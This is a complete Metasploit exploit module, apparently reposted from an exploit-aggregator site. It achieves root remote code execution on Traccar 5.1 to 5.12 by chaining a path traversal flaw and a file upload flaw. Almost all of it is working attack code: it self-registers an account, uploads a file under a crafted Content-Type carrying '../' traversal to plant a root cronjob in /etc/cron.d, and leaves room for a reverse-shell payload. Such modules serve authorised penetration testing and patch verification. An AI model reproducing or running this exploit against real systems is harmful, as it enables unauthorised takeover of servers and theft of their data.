Share
## https://sploitus.com/exploit?id=PACKETSTORM:181800
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',  
'Description' => %q{  
Remote Code Execution in Traccar v5.1 - v5.12.  
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).  
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.  
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Michael Heinzl', # MSF Module  
'yiliufeng168', # Discovery CVE-2024-24809 and PoC  
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC  
],  
'References' => [  
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],  
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],  
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],  
[ 'CVE', '2024-31214'],  
[ 'CVE', '2024-24809']  
],  
'DisclosureDate' => '2024-08-23',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Linux Command',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => [ 'linux' ],  
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp  
'Type' => :unix_cmd  
}  
]  
],  
'Payload' => {  
'BadChars' => "\x27" # apostrophe (')  
},  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 75  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [EVENT_DEPENDENT],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8082),  
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),  
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),  
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),  
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/server')  
})  
  
return CheckCode::Unknown unless res && res.code == 200  
  
data = res.get_json_document  
version = data['version']  
if version.nil?  
return CheckCode::Unknown  
else  
vprint_status('Version retrieved: ' + version)  
end  
  
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))  
return CheckCode::Safe  
end  
  
return CheckCode::Appears  
end  
  
def exploit  
prepare_setup  
execute_command(payload.encoded)  
end  
  
def prepare_setup  
print_status('Registering new user...')  
body = {  
name: datastore['USERNAME'],  
email: datastore['EMAIL'],  
password: datastore['PASSWORD'],  
totpKey: nil  
}.to_json  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/users'),  
'ctype' => 'application/json',  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
auth_status = false  
  
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error  
# to run into when this module is executed more than once without updating the provided email address  
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')  
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')  
res = send_request_cgi(  
'method' => 'POST',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'api/session'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'email' => datastore['EMAIL'],  
'password' => datastore['PASSWORD']  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
json = res.get_json_document  
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']  
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
auth_status = true  
  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
json = res.get_json_document  
  
unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
  
if auth_status == false  
print_status('Authenticating...')  
res = send_request_cgi(  
'method' => 'POST',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'api/session'),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'email' => datastore['EMAIL'],  
'password' => datastore['PASSWORD']  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
json = res.get_json_document  
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
end  
end  
  
def execute_command(cmd)  
name_v = Rex::Text.rand_text_alphanumeric(16)  
unique_id_v = Rex::Text.rand_text_alphanumeric(16)  
  
body = {  
name: name_v,  
uniqueId: unique_id_v  
}.to_json  
  
print_status('Adding new device...')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api/devices'),  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
json = res.get_json_document  
  
unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')  
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)  
end  
  
id = json['id'].to_s  
body = Rex::Text.rand_text_alphanumeric(1..4)  
fn = Rex::Text.rand_text_alpha(1..2)  
  
print_status('Uploading crontab file...')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),  
'keep_cookies' => true,  
'ctype' => 'image/png',  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200 && res.to_s.include?('device.png')  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),  
'keep_cookies' => true,  
'ctype' => "image/png;#{fn}=\"/b\"",  
'data' => body  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
body = "* * * * * root /bin/bash -c '#{cmd}'\n"  
cronfn = SecureRandom.hex(12)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),  
'keep_cookies' => true,  
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",  
'data' => body  
)  
  
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
  
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")  
fail_with(Failure::UnexpectedReply, res.to_s)  
end  
  
vprint_status('Cleanup: Deleting previously added device...')  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),  
'headers' => {  
'Connection' => 'close'  
}  
)  
  
unless res  
print_bad('Failed to receive a reply from the server, device removal might have failed.')  
end  
  
unless res.code == 204  
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)  
end  
  
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early  
print_status('Cronjob successfully written - waiting for execution...')  
end  
end